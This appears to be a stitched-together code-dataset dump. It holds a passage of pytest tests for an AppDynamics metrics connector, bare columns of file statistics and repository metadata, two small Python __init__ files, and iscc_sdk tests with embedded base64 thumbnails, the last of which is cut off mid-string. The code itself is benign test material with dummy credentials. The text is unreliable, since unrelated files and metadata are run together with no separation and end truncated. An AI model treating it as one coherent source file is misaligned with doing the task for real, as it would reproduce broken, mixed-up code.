account='acc', app_id='app', tier='test-tier', ) assert config.base_url == "http://appdynamics.com:8090" def test_rejects_invalid_url(self): try: AppdynamicsConfiguration(base_url="gopher://this-is-invalid", metrics=[], username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) except pydantic.ValidationError as error: assert { "loc": ("base_url",), "msg": "URL scheme not permitted", "type": "value_error.url.scheme", "ctx": { "allowed_schemes": { "http", "https", }, }, } in error.errors() def test_api_url(self): config = AppdynamicsConfiguration( base_url="http://appdynamics.com:8090", metrics=[], username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) assert ( config.api_url == "http://appdynamics.com:8090/controller/rest/" ) # Metrics def test_metrics_required(self): try: AppdynamicsConfiguration(metrics=None, username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) except pydantic.ValidationError as error: assert { "loc": ("metrics",), "msg": "none is not an allowed value", "type": "type_error.none.not_allowed", } in error.errors() class TestAppdynamicsRequest: @freezegun.freeze_time("2020-01-01") def test_url(self): request = AppdynamicsRequest( base_url="http://appdynamics.com", start=datetime.datetime.now(), end=datetime.datetime.now() + Duration("36h"), metric=AppdynamicsMetric( "throughput", servo.Unit.requests_per_minute, query='Overall Application Performance|Calls per Minute', ), ) assert ( request.endpoint == '?metric-path=Overall Application Performance|Calls per Minute&time-range-type=BETWEEN_TIMES&start-time=1577836800000&end-time=1577966400000&rollup=false&output=JSON' ) overall_application_performance_throughput = [{ 'frequency': 'ONE_MIN', 'metricId': 11318904, 'metricName': 'BTM|Application Summary|Calls per Minute', 'metricPath': 'Overall Application Performance|Calls per Minute', 'metricValues': [{'count': 5, 'current': 2098, 'max': 1119, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647040000, 'sum': 2098, 'useRange': False, 'value': 2098}, {'count': 5, 'current': 1249, 'max': 615, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647100000, 'sum': 1249, 'useRange': False, 'value': 1249}, {'count': 5, 'current': 1659, 'max': 959, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647160000, 'sum': 1659, 'useRange': False, 'value': 1659}, {'count': 5, 'current': 1696, 'max': 861, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647220000, 'sum': 1696, 'useRange': False, 'value': 1696}, {'count': 5, 'current': 2549, 'max': 1315, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647280000, 'sum': 2549, 'useRange': False, 'value': 2549}, {'count': 5, 'current': 2474, 'max': 1380, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647340000, 'sum': 2474, 'useRange': False, 'value': 2474}, {'count': 5, 'current': 1603, 'max': 792, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647400000, 'sum': 1603, 'useRange': False, 'value': 1603}, {'count': 5, 'current': 1909, 'max': 1103, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647460000, 'sum': 1909, 'useRange': False, 'value': 1909}, {'count': 5, 'current': 2241, 'max': 1270, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647520000, 'sum': 2241, 'useRange': False, 'value': 2241}, {'count': 5, 'current': 2665, 'max': 1491, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647580000, 'sum': 2665, 'useRange': False, 'value': 2665}] }] class TestAppdynamicsChecks: @pytest.fixture def metric(self) -> AppdynamicsMetric: return AppdynamicsMetric( name="throughput", unit=Unit.requests_per_minute, query='Overall Application Performance|Calls per Minute', ) @pytest.fixture def overall_application_performance_throughput(self) -> List[dict]: return [{ 'frequency': 'ONE_MIN', 'metricId': 11318904, 'metricName': 'BTM|Application Summary|Calls per Minute', 'metricPath': 'Overall Application Performance|Calls per Minute', 'metricValues': [{'count': 5, 'current': 2098, 'max': 1119, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647040000, 'sum': 2098, 'useRange': False, 'value': 2098}, {'count': 5, 'current': 1249, 'max': 615, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647100000, 'sum': 1249, 'useRange': False, 'value': 1249}, {'count': 5, 'current': 1659, 'max': 959, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647160000, 'sum': 1659, 'useRange': False, 'value': 1659}, {'count': 5, 'current': 1696, 'max': 861, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647220000, 'sum': 1696, 'useRange': False, 'value': 1696}, {'count': 5, 'current': 2549, 'max': 1315, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647280000, 'sum': 2549, 'useRange': False, 'value': 2549}, {'count': 5, 'current': 2474, 'max': 1380, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647340000, 'sum': 2474, 'useRange': False, 'value': 2474}, {'count': 5, 'current': 1603, 'max': 792, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647400000, 'sum': 1603, 'useRange': False, 'value': 1603}, {'count': 5, 'current': 1909, 'max': 1103, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647460000, 'sum': 1909, 'useRange': False, 'value': 1909}, {'count': 5, 'current': 2241, 'max': 1270, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647520000, 'sum': 2241, 'useRange': False, 'value': 2241}, {'count': 5, 'current': 2665, 'max': 1491, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647580000, 'sum': 2665, 'useRange': False, 'value': 2665}] }] @pytest.fixture def mocked_api(self, overall_application_performance_throughput): with respx.mock( base_url="http://localhost:8090", assert_all_called=False ) as respx_mock: respx_mock.get( re.compile(r"/controller/rest/.+"), name="query" ).mock(httpx.Response(200, json=overall_application_performance_throughput)) yield respx_mock @pytest.fixture def checks(self, metric) -> AppdynamicsChecks: config = AppdynamicsConfiguration( base_url="http://localhost:8090", metrics=[metric], username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) return AppdynamicsChecks(config=config) @respx.mock async def test_check_queries(self, mocked_api, checks) -> None: request = mocked_api["query"] multichecks = await checks._expand_multichecks() check = await multichecks[0]() assert request.called assert check assert check.name == r'Run query "Overall Application Performance|Calls per Minute"' assert check.id == "check_queries_item_0" assert not check.critical assert check.success assert check.message == "returned 5 results" class TestAppdynamicsConnector: @pytest.fixture def metric(self) -> AppdynamicsMetric: return AppdynamicsMetric( name="test", unit=Unit.requests_per_minute, query='Overall Application Performance|Calls per Minute', ) @pytest.fixture def overall_application_performance_throughput(self) -> List[dict]: return [{ 'frequency': 'ONE_MIN', 'metricId': 11318904, 'metricName': 'BTM|Application Summary|Calls per Minute', 'metricPath': 'Overall Application Performance|Calls per Minute', 'metricValues': [{'count': 5, 'current': 2098, 'max': 1119, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647040000, 'sum': 2098, 'useRange': False, 'value': 2098}, {'count': 5, 'current': 1249, 'max': 615, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647100000, 'sum': 1249, 'useRange': False, 'value': 1249}, {'count': 5, 'current': 1659, 'max': 959, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647160000, 'sum': 1659, 'useRange': False, 'value': 1659}, {'count': 5, 'current': 1696, 'max': 861, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647220000, 'sum': 1696, 'useRange': False, 'value': 1696}, {'count': 5, 'current': 2549, 'max': 1315, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647280000, 'sum': 2549, 'useRange': False, 'value': 2549}, {'count': 5, 'current': 2474, 'max': 1380, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647340000, 'sum': 2474, 'useRange': False, 'value': 2474}, {'count': 5, 'current': 1603, 'max': 792, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647400000, 'sum': 1603, 'useRange': False, 'value': 1603}, {'count': 5, 'current': 1909, 'max': 1103, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647460000, 'sum': 1909, 'useRange': False, 'value': 1909}, {'count': 5, 'current': 2241, 'max': 1270, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647520000, 'sum': 2241, 'useRange': False, 'value': 2241}, {'count': 5, 'current': 2665, 'max': 1491, 'min': 12, 'occurrences': 1, 'standardDeviation': 0, 'startTimeInMillis': 1614647580000, 'sum': 2665, 'useRange': False, 'value': 2665}] }] @pytest.fixture def mocked_api(self, overall_application_performance_throughput): with respx.mock( base_url="http://localhost:8090", assert_all_called=False ) as respx_mock: respx_mock.get( re.compile(r"/controller/rest/.+"), name="query", ).mock(httpx.Response(200, json=overall_application_performance_throughput)) yield respx_mock @pytest.fixture def connector(self, metric) -> AppdynamicsConnector: config = AppdynamicsConfiguration( base_url="http://localhost:8090", metrics=[metric], username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) return AppdynamicsConnector(config=config) async def test_describe(self, connector) -> None: described = connector.describe() assert described.metrics == connector.metrics() # TODO: Handle conditional flow for metrics # @respx.mock # async def test_measure(self, mocked_api, connector) -> None: # request = mocked_api["query"] # print(connector.metrics()) # measurements = await connector.measure() # assert request.called # # Assert float values are the same (for first entry from first reading) # print(measurements.readings[0].data_points[0][1]) # assert measurements.readings[0].data_points[0][1] == overall_application_performance_throughput[0]["metricValues"][0]["value"]
40.355286
181
0.374705
1,441
23,285
5.974323
0.146426
0.020908
0.045301
0.05924
0.784296
0.75816
0.751074
0.737368
0.724591
0.700081
0
0.10258
0.52901
23,285
576
182
40.425347
0.682411
0.022504
0
0.81203
0
0.00188
0.180024
0.010375
0
0
0
0.001736
0.033835
1
0.031955
false
0.015038
0.018797
0.009398
0.073308
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
959a03933f167cd4ece7254e02e2ee64c081046a
53
py
Python
mysite/__init__.py
Frankie1215/basic-login-with-django
c8dace2a0471eae0347df75727b98b57c9967d92
[ "MIT" ]
null
null
null
mysite/__init__.py
Frankie1215/basic-login-with-django
c8dace2a0471eae0347df75727b98b57c9967d92
[ "MIT" ]
null
null
null
mysite/__init__.py
Frankie1215/basic-login-with-django
c8dace2a0471eae0347df75727b98b57c9967d92
[ "MIT" ]
null
null
null
from .mysite import helper from .mysite import const
17.666667
26
0.811321
8
53
5.375
0.625
0.465116
0.744186
0
0
0
0
0
0
0
0
0
0.150943
53
2
27
26.5
0.955556
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
95afb95fd3cd8aad4644cffa9a7cda8e965047da
134
py
Python
dingus/codec/__init__.py
ricott1/dingus
ef0edd9fff164f54171b354714e600f410a3bbe9
[ "MIT" ]
null
null
null
dingus/codec/__init__.py
ricott1/dingus
ef0edd9fff164f54171b354714e600f410a3bbe9
[ "MIT" ]
null
null
null
dingus/codec/__init__.py
ricott1/dingus
ef0edd9fff164f54171b354714e600f410a3bbe9
[ "MIT" ]
null
null
null
from . import base_transaction_pb2 as base_transaction from . import token_balance_transfer_asset_pb2 as token_balance_transfer_asset
44.666667
78
0.895522
20
134
5.5
0.5
0.181818
0.363636
0.454545
0
0
0
0
0
0
0
0.016393
0.089552
134
2
79
67
0.885246
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
25341b2a3cde1c3eee2d104bdbdc738d50c28c75
16,929
py
Python
tests/test_main.py
iscc/iscc-sdk
329bf7611979cbb064d95902f5b29fb9b8dfc15b
[ "Apache-2.0" ]
1
2022-03-21T19:34:10.000Z
2022-03-21T19:34:10.000Z
tests/test_main.py
iscc/iscc-sdk
329bf7611979cbb064d95902f5b29fb9b8dfc15b
[ "Apache-2.0" ]
23
2022-01-24T16:05:33.000Z
2022-03-29T10:48:04.000Z
tests/test_main.py
iscc/iscc-sdk
329bf7611979cbb064d95902f5b29fb9b8dfc15b
[ "Apache-2.0" ]
null
null
null
import iscc_sdk as idk def test_code_iscc_text(pdf_file): assert idk.code_iscc(pdf_file).dict() == { "@type": "TextDigitalDocument", "name": "title from metadata", "iscc": "ISCC:KACV5NAQXBCHCWFWMNALVJHBLB7X7IFU4H2JIVUSWF5NLR6362TFHDY", "filename": "text.pdf", "characters": 16995, "datahash": "1e207ad5c7dbf6a6538f15fd0439e0dc5ba03a043ea23f072aa4e2ba830811bdb5f0", "filesize": 188280, "mediatype": "application/pdf", "metahash": "1e201da548c5285ed35f293c3e22c2f050e037643aae8cf9244b532a162ff5031f52", "mode": "text", } def test_code_iscc_image(jpg_file): assert idk.code_iscc(jpg_file).dict() == { "@type": "ImageObject", "iscc": "ISCC:KECWRY3VY6R5SNV4YNBTBHR4T2HGP3HKVFO7TYUP2BKVFG724W63HVI", "creator": "Some Cat Lover", "datahash": "1e2055529bfae5bdb3d530c52f44d13ccd6a7c710f63620dc2db1c43c5592ae2dc97", "filesize": 35393, "filename": "img.jpg", "height": 133, "mediatype": "image/jpeg", "metahash": "1e209ce5052a03004657d8657167f53812718e9426d85b4cdd5106ef3d87412e6f64", "mode": "image", "name": "Concentrated Cat", "thumbnail": "data:image/webp;base64,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", "width": 200, } def test_code_iscc_audio(mp3_file): assert idk.code_iscc(mp3_file).dict() == { "@type": "AudioObject", "iscc": "ISCC:KIC2JKSX7OH5PBIENISKEJTS4TRKHYJBCZDNLQXYILWJHQAP3N3KPTQ", "name": "Belly Button", "datahash": "1e20ec93c00fdb76a7cec587e4a2bddfa8d0a0bac8110d0c7130c351ea07c366d626", "duration": 15, "filesize": 225707, "filename": "audio.mp3", "mediatype": "audio/mpeg", "metahash": "1e20c4933dc8c03ea58568159a1cbfb04132c7db93b6b4cd025ffd4db37f52a4756f", "mode": "audio", } def test_code_iscc_video(mp4_file): assert idk.code_iscc(mp4_file).dict() == { "@type": "VideoObject", "datahash": "1e209d412d76d9d516d07bb60f1ab3c1a5c1b176ed4f1cec94c96222a5d013ec3e38", "filename": "video.mp4", "filesize": 2161914, "iscc": "ISCC:KMCV6UK6BSXJ3I4GLYHIH5A5DNZPYBWQO33FNHPQFOOUCLLW3HKRNUA", "mediatype": "video/mp4", "metahash": "1e2096c0a53475a186ce37622aba7ba70651fc62cc8150f59eee6d17dc16d9bfbf25", "mode": "video", "name": "Kali by Anokato - Spiral Sessions 2019", "thumbnail": "data:image/webp;base64,UklGRkAFAABXRUJQVlA4IDQFAABQHACdASqAAGkAPrVUoU0nJL+iJds7o/AWiUAaVUmMC9Ymbvi4gI54bTdt50rwr7N+M3nP42/ab9zzG+k74b8n/VrvT9OHkr3QnKPB0+k/qr4qX8d6D/UjzQ/9N6a94N4t7AH8n/u3/R9lT+k8bP0p7Af66dcEw8O/Fjh0V9q/EzGIXOPxxGpc24WPN9p12h+zeDRpntIPLKARwz62m3BPGyFS9rzZiv3VJlg+hNKMMfZMQJzHYwM5pXOu/B8cvvwU0x4TrPQT/1NWb1QiI/XoZOGjVrAntgus6zRf5zFWbUxamLYiInReOWnQAP750EAB6/Gz7ppI6A3w/zt8U/tR4HwZILZiEJ39oTo6Jf1u3N4w7w0ALWz10zrZ8GVMOcoN7ib8ZG9jZz1xUfcW9Sdg0+9vgh5GLQpOT77rQTmy2vkPAmUpMeQOnCAYqmD8In78khGhd2PPfNzF5wjbMmcxmZr8pk0Tzza+jvY6twcoqfijYdYqRMT6BRQl95E1TQJ2vBWwn/5P406F/viJYID3/5Dl3LJlsmMlCDoIcd8zEtx+XLqcpUaER8pnGFbViIzy/0X3LvUkP9xlJzidkB3CgqYf26aIdunTUCYRLfeSpj2yptiOXx0YmRzx5XxrPm3i7GO2smpd6/o9ZIX9Q3vG20223jlv2Qrl2PToH2G91tWwDBpFLiyX+ojOGEyAtJ+PIxKoIxthBeved8lNoDHtsI2dur5AhYy0TVIwP0e6fQ0lsiHaEdU8AvOFGw5f/WaKrif6HjVbFKFQgEyBbFUQM8Xrykx3X8cKCq0EPcjj2ggd++n10yVCX4GSdB/Trerpf69HVhpJtMZLynD1z3cf9VI28q+1/LtCt8W7yI7GTekUoZaDEjALNUNT8ry/l9egi6aK59BAYWqvDgT8Vcu7hOiFL/qJBepaPtIUQkin19qvzT+9T0d8SGoG0binZs1UbMxY1phQeT3U16T17OxvcmhVnOV0C92EginYKqZw5n/xat/JbmptnAZP19BGkcOqnRCxVeJgwkxRB9vzu1xLM1i3Dt+WKXyv50lK4ykfU2srsOJHpSLgMz75gbyhEitaPiW49IooZ7Ae61bI6JMoI0N7kBDpFs8jOGXtczQBSAEtVe++l89JefzWcS2EH9Lmyk3+q7O0yHz2eE3KcImzXnN8AL/kcB0H28Y2q7WTRjGPg7qIzeg5rsuOBsSMstmMfGM1YDWb9k55rWvedKYcrQc4Tyc4uxLXOoZzfPfXVHO6sFJBw2DGX3n6sb8fegUVN+uxLKJnO4fkvw3aD6aamRI2lL1m3Z6YeRbIRkVAUbxu7QkFcfQ/NmygSImoYv96fjbxvoQLSMdaSj5ZCYYgx/J8n/XyeRaCsWAOeUqsx93z+Fq0JPrnOxm9ypga1WYQhn8RYnGjcd+y6uHoq7VAzXunweVYJGYMD5IDBZtaYCywWZHM2z5FtkzAlomZR173ct/Ls+p036ukw/nMbCKeHnkJ884g1xNf6Flzc7LRTA0H6Ttrz3rukIxtReTvlQ1FuI9QCxk3tVP9MzNrHhtwq85YHYLcgBopKZqMJxkCm62YZ+ckmErtGImje7dBmxlAZe290TV0R2vYx51znfnph4aLw6OiksjFM//JnYh/JEMYlTjl/v4LCa8qFgHQ/yPJql1BtdwmM9g3NkoL50nf/cOlQmSwljeE33QqAp0NwgkAlo7c3/LEib8gvzr+CHETvA4pAL1yMJfLDfxlG5U/+AeRF6lDsnZfKTDeUeZwAAAAAAA=", } def test_code_meta_image(jpg_file): assert idk.code_meta(jpg_file).dict() == { "iscc": "ISCC:AAAWRY3VY6R5SNV4", "name": "Concentrated Cat", "creator": "Some Cat Lover", "width": 200, "height": 133, "metahash": "1e209ce5052a03004657d8657167f53812718e9426d85b4cdd5106ef3d87412e6f64", } def test_code_meta_audio(mp3_file): assert idk.code_meta(mp3_file).dict() == { "iscc": "ISCC:AAA2JKSX7OH5PBIE", "name": "Belly Button", "duration": 15, "metahash": "1e20c4933dc8c03ea58568159a1cbfb04132c7db93b6b4cd025ffd4db37f52a4756f", } def test_code_meta_video(mp4_file): assert idk.code_meta(mp4_file).dict() == { "iscc": "ISCC:AAAV6UK6BSXJ3I4G", "name": "Kali by Anokato - Spiral Sessions 2019", "metahash": "1e2096c0a53475a186ce37622aba7ba70651fc62cc8150f59eee6d17dc16d9bfbf25", } def test_code_meta_image_no_meta(bmp_file): assert idk.code_meta(bmp_file).dict() == { "iscc": "ISCC:AAA374FA7VF3FWZQ", "name": "img", "width": 200, "height": 133, "metahash": "1e20bff0a0fd4bb2db301741c4c9cbfced1085e2051e6009edb12b004330fa7f5111", } def test_code_content(jpg_file): assert idk.code_content(jpg_file).dict() == { "@type": "ImageObject", "creator": "Some Cat Lover", "height": 133, "iscc": "ISCC:EEA4GQZQTY6J5DTH", "mediatype": "image/jpeg", "mode": "image", "name": "Concentrated Cat", "thumbnail": "data:image/webp;base64,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